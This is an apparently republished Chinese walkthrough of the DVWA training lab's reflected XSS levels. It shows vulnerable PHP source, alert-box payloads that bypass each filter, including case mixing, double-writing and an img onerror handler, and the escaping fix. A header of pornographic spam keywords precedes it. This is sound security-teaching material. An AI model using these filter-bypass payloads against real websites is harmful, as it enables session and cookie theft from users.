日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

      歡迎訪問 生活随笔!

      生活随笔

      當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

      编程问答

      DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)

      發布時間:2023/12/14 编程问答 35 豆豆
      生活随笔 收集整理的這篇文章主要介紹了 DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

      目錄

      Low

      Medium

      High

      Impossible


      反射型XSS:惡意腳本未經轉義被直接輸入并作為HTML輸出的一部分,惡意腳本不在后臺存儲,直接在前端瀏覽器被執行。

      攻擊者可以使用XSS向惡意的用戶發送惡意腳本。終端用戶的瀏覽器沒有辦法知道腳本不應該被信任,并且將執行JavaScript。因為它認為腳本來自可信來源,惡意腳本可以訪問任何cookie、會話令牌或瀏覽器保留的其他敏感信息,并與該站點一起使用。這些腳本甚至可以重寫HTML頁面的內容。

      Low

      ?源碼:

      <?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>

      可以看到,代碼直接引用了name參數,并沒有任何的過濾與檢查,存在明顯的XSS漏洞:

      ?輸入字符就會顯示出來,而且沒有過濾和防護,因此可以直接注入,輸入框中輸入:

      <script>alert("XSS")</script>

      ?所構造出的xss鏈接:

      http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E#

      Medium

      <?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

      Medium級別的服務端將script標簽過濾了,? 但是他沒有不區分大寫地過濾 ,也相當于沒有過濾,可以利用很多方式過濾,比如雙寫,大小寫等方式過濾:

      <scr<script>ipt>alert("XSS")</script>,<sCript>alert("XSS")</script>

      ?所構造出的xss鏈接:

      http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E#

      High

      源碼:

      <?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

      可以看到,High級別的代碼同樣使用黑名單過濾輸入,preg_replace()函數用于正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。但是可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼,輸入:

      <img src=1 οnerrοr=alert(XSS)>

      ?因此構造連接:

      http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%22XSS%22%29%3E#

      Impossible

      源碼:

      <?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>

      可以看到,Impossible級別的代碼使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為HTML實體,防止瀏覽器將其作為HTML元素。

      總結

      以上是生活随笔為你收集整理的DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)的全部內容,希望文章能夠幫你解決所遇到的問題。

      如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。